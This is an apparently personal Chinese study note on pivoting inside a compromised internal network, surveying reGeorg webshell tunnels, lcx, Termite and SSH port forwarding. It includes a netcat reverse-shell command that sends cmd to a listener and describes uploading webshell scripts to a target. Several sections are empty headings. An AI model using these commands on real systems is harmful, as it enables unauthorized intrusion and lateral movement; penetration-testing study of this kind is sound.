内网穿透小结

1 前言

内网环境非常复杂,在内网中行动需要代理及端口转发等各种功能。在此梳理一下思路与方法,同时总结一下工具的使用方法。(不断修改中,( •̀ ω •́ )✧)

2 基本知识概念梳理

2.1 正向代理与反向代理

正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和 server 同属一个 LAN,对 client 透明。 实际上 proxy 在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。

2.2 端口转发

2.2 内网常见环境

假设内网已经控制了一台主机。

2.2.1 已经控制的主机只开放了WEB服务

当控制了web服务器,但是目标主机只开放了WEB服务。这时候可以用reGeorg作为代理,将reGeorg对应的脚本上传道WEB服务器,然后windows使用proxifire,Linux使用Proxychains作为代理,然后就可以探测内网了。

2.2.2 内网防火墙没有任何防护

这时候可以选择的方案很多,如端口转发,代理,反弹。

2.2.3 内网防火墙只允许HTTP流量

这时候可以使用HTTP隧道,使用HTTP协议来包装各种信息。如果内网还检测内容,那么需要加密HTTP流量,可以使用bridge。或者ssh加密,可以防止数据内容被防火墙检测。

3 工具整理

3.1 Lcx转发

lcx.exe容易被杀软检测。

3.2 NC反弹

3.2.1 正向连接

3.2.2 反向连接

  1. 在公网监听
    nc -lp 5555
  2. 在内网机器反弹
    nc -t -e cmd 10.10.10.11 5555

3.3 Termite

3.3.1 简介

Termite是一个跳板机管理工具,多平台支持。具有SOCKS5架设、端口转发、shell服务假设、文件上传下载功能。可以在复杂的网络环境内打通一条通道。

3.3.2 下载地址

http://rootkiter.com/Termite/

3.3.3 使用介绍

官网有工具使用视频。

3.4 reGeorg

3.4.1 简介

reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。

3.4.2 下载地址

https://github.com/NoneNotNull/reGeorg

3.4.3 使用

将对应的脚本上传到目标服务器上,然后配合代理软件即可扫描等操作。windows使用proxifire,Linux使用Proxychains。

3.4 SSH隧道代理转发

ssh 有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
socket代理:
ssh -qTfnN -D port remotehost
参数详解:
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了
-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

3.4.1 ssh 本地转发

一台机器的某个应用(比如mysql限制了root只能本地登陆)限制了只有本机才能登陆此应用,如果我们想要远程登陆此应用,就可以使用ssh的本地转发。

命令格式:ssh -L <local port>:<remote host>:<remote port> <SSH hostname>

例如MySQL本地转发:
10.10.10.129:mysql服务所在机器。

注意:ssh可以远程登陆mysql服务器。

3.4.1 ssh 远程转发

内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。
ssh -CfNg -R 81:127.0.0.1:80 <ssh server>

3.4.3 ssh 动态转发 socks 代理

把远程主机设置成代理,来代理访问不能访问的资源。在地机器上分配了一个监听端口, 一旦这个端口上有了连接, 该连接就经过 ssh 隧道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接。
ssh -qTfnN -D <local port> <ssh server>

例子:
设置转发:

使用代理:

3.6 sSocks

3.7 socat

3.7.1 正向shell

3.7.2 反向shell

3.8 内网穿透平台

例如 https://www.ngrok.cc/、https://natapp.cn / 等

4 参考资料

1. 实战 SSH 端口转发

1. 内网端口转发及穿透

2. 实战 SSH 端口转发

3. 内网渗透工具总结

4. Cobalt strike在内网渗透中的使用

5. 穿越边界的姿势

6. 内网渗透

7. 多重转发渗透隐藏内网

8. Linux 端口转发特征总结